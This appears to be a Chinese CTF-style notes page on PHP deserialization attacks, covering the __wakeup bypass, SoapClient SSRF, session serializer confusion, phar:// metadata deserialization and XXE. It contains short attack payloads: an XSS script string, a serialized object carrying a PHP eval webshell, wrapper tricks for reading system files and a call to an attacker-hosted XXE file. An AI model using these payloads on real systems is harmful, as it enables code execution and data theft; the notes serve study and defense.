PHP Deserialization

PHP Deserialization

1.PHP Serialization Basic

1
2
3
4
5
6
7
8
9
10
11
12
a - array
b - boolean
d - double
i - integer
o - common object
r - reference
s - string
C - custom object
O - class
N - null
R - pointer reference
U - unicode string
  • public变量: 直接变量名
  • private变量: \x00 + 类名 + \x00 + 变量名
  • protected变量: \x00 + * + \x00 + 变量名

有些类不一定能够进行(反)序列化(V5.3+)

如SimpleXMLElement

1
2
3
#PHP/ext/simplexml/simplexml.c
sxe_class_entry->serialize = zend_class_serialize_deny; //不能被序列化
sxe_class_entry->unserialize = zend_class_unserialize_deny; //不能被反序列化

利用思路

不同的魔术方法决定了不同的利用方式,通常是在某一个传入payload的类反序列化后调用了能触发其魔法方法的函数(通常是开发者意料之外的),除了__wakeup/__destruct在类被反序列化之后”肯定”会被执行(绕过__wakeup的方法见下),其他的都有触发方式,网上总结的很多了

1
2
3
4
__wakeup/__destruct		反序列化时直接执行
__call 类调用了未声明的方法(Soapclient)
__toString 打印一个对象的时被调用,用于打印的函数见下文
*__construct 构造函数,其实能调用这个函数,可以不作为反序列化漏洞看了基本上可以算直接调用一个类

2.Technique

2.1 绕过__wakeup方法

PHP5 < 5.6.25
PHP7 < 7.0.10

https://bugs.php.net/bug.php?id=72663

CVE-2016-7124 当成员属性数目大于实际数目时可绕过

2.2 __toString方法的利用方式

2.2.1 触发方式

与phar文件触发反序列化的方法相似,都有和文件操作有关的函数

1
2
3
4
echo 
getimagesize
touch
file_get_contents ...

2.2.2 实现XSS可利用的类:

通过PHP反序列化进行远程代码执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
Exception::__toString
ErrorException::__toString
DateTime::__wakeup
ReflectionException::__toString
ReflectionFunctionAbstract::__toString
ReflectionFunction::__toString
ReflectionParameter::__toString
ReflectionMethod::__toString
ReflectionClass::__toString
ReflectionObject::__toString
ReflectionProperty::__toString
ReflectionExtension::__toString
LogicException::__toString
BadFunctionCallException::__toString
BadMethodCallException::__toString
DomainException::__toString
InvalidArgumentException::__toString
LengthException::__toString
OutOfRangeException::__toString
RuntimeException::__toStrings
1
2
3
4
//$a = new Error("<script>alert(1)</script>"); (PHP 7+)
$a = new Exception("<script>alert(1)</script>");
echo unserialize(serialize($a));
file_get_contents(unserialize(serialize($a)));

2.3 Composer中的框架

phpggc可以用来构造payload

1
php phpggc -l

2.3.1 存在反序列化漏洞的包

  • cartalyst/sentry(5.3+)
  • cartalyst/sentinel(5.4+)

2.3.2 一些可以构造POP chain的包

  • Arbitrary Write:

    • monolog/monolog (<1.11.0)

    • guzzlehttp/guzzle(6.0.0 <= 6.3.2)

2018 鹏程杯 Babyt2
  • Arbitrary Delete:

    • swiftmailer/swiftmailer

2.4 SoapClient造成SSRF

extension=php_soap
SoapClient在非wsdl模式下反序列化可以发起请求造成SSRF+CRLF,在后来的版本中反序列化不能直接发起链接,不过可以直接调用一个不存在的类方法(因为底层调用了__call方法),方法会发到Header的SOAPAction内容为<uri>#<调用的方法名>

user-agent头还可以有CRLF,从而可以修改Content-Type为multipart/form-data等来传POST参数,详见demo

  • N1CTF easy_harder_php

    Deserialzation+CRLF+SSRF

1
2
3
4
5
6
7
8
9
10
<?php
$a = new SoapClient(null, array('location' => "http://127.0.0.1:1234",'uri' => "123"));
$a->a();

POST / HTTP/1.1
Host: 127.0.0.1:1234
Connection: Keep-Alive
User-Agent: PHP-SOAP/7.2.12
Content-Type: text/xml; charset=utf-8
SOAPAction: "123#a"

2.5 PHP Session反序列化

配置:session.serialize_handler = [php] | php_serialize

  • 用默认的 php 存储时,会以|作为 key 和 value 的分隔符

  • 采用php_serialize 的话,会直接将 session 存储为为序列化的数组

如果 serialize_handler 在写入和取出时不一样,则有可能会产生漏洞,以 php_serialize 方式存储如下的session变量

1
2
3
4
5
session_start(array('serialize_handler' => 'php_serialize'));
$_SESSION['vin'] = '|O:7:"MyClass":0:{}';

# 最后 session 文件中存储的内容就会是是
a:1:{s:3:"vin";s:19:"|O:7:"MyClass":0:{}

但是我们在进行读取的时候,如果选择的是php,那么最后读取的内容是:

1
2
3
4
session_start(array('serialize_handler' => 'php'));
var_dump($_SESSION);

array(1) { ["a:1:{s:3:"vin";s:19:""]=> object(__PHP_Incomplete_Class)#1 (1) { ["__PHP_Incomplete_Class_Name"]=> string(7) "MyClass" } }

可见此时,文件中的|符号被当成了在php默认解析下的区分 session 的key和value的分隔符,那么

  • SK CTF easy web

    先计算 str_shuffle 函数的返回值,构造 SKCTF 类到 session 里,

    1
    O:5:"SKCTF":1:{s:7:"content";s:20:"<?php eval['vin'];?>";}
  • HCTF2018 Bestphp

2.6 phar文件反序列化

这个漏洞的出现改变了反序列化漏洞传统的利用方式,不需要unserialize(),只需要uri访问phar文件即可,极大的增大了攻击面(什么时候像Orange翻翻PHP源码肯定大有裨益)

2.6.1 利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且 phar:// 等特殊字符没有被过滤

使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化

会造成phar对象实例化的文件操作:

Phar与Stream Wrapper造成PHP RCE的深入挖掘

主要是要找出发php_stream_open_wrapper的函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
fileatime / filectime / filemtime
stat / fileinode / fileowner / filegroup / fileperms / filesize
file / file_get_contents / readfile / fopen
file_exists / is_dir / is_executable / is_file / is_link / is_readable / is_writeable / is_writable
include
parse_ini_file
unlink / copy / touch

# exif: exif_thumbnail/exif_imagetype
# gd: imageloadfont/imagecreatefrom***
# file/url: get_meta_tags / get_headers
# Hash: hash_hmac_file / hash_file / hash_update_file / md5_file / sha1_file
# standard: getimagesize / getimagesizefromstring
# others:
SimpleXmlElement::__construct($url, LIBXML_NONET, true) //LIBXML_NONET不影响phar wrapper
PDO::pgsqlCopyFromFile(string $table_name , string $filename,...) //$filename传入phar wrapper
ZipArchive::extractTo ( string $destination,...)
mysqli_query的sql语句中: LOAD DATA LOCAL INFILE

2.6.2 Bypass Waf

  • php伪协议不区分大小写
1
2
readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname");
readfile("FILE:///etc/hostname");
  • compress.zlib://等其他协议

    1
    2
    compress.zlib://phar:///var/www/html
    compress.bzip2://phar:///

2.6.3 Example

  • hitcon2017
  • Typo3(20180609)
  • WordPress(20170228)
  • Contao TCPDF(20180524)

2.7 __construct任意对象实例化

就相当于能自行调用某个已经声明的类, 已经声明的类可以用get_declared_classes()函数查看

2.7.1 ReflectionClass 来调用自定义的类

1
2
3
4
5
function createInstanceFromNamedArguments($className, $arguments){
$reflectionClass = new \ReflectionClass($className);
$constructorParams =$reflectionClass->getConstructor()->getParameters();
return $reflectionClass->newInstanceArgs($arguments);
}

2.7.2 SimpleXMLElement实现XXE

从PHP对象实例化到Blind XXE

1
SimpleXMLElement("http://<vps/xxe.xml>", LIBXML_NONE, true)
  • SUCTF2018 WEB homework

3. Examples

  • CVE-2015-8562: Joomla Remote Code Execution

  • CVE-2015-7808: vBulletin 5 Unserialize Code Execution

  • CVE-2015-2171: Slim Framework PHP Object Injection

  • CVE-2016-7124

  • CVE-2017-6920 Drupal Yaml反序列化漏洞

    由PHPGGC理解PHP反序列化漏洞

  • Typecho反序列化

    1
    install.php--->Db->__toString------>Feed->__get---->_applyFilter
  • MWR Labs
    Laravel -> Cookie Forgery -> Decryption -> RCE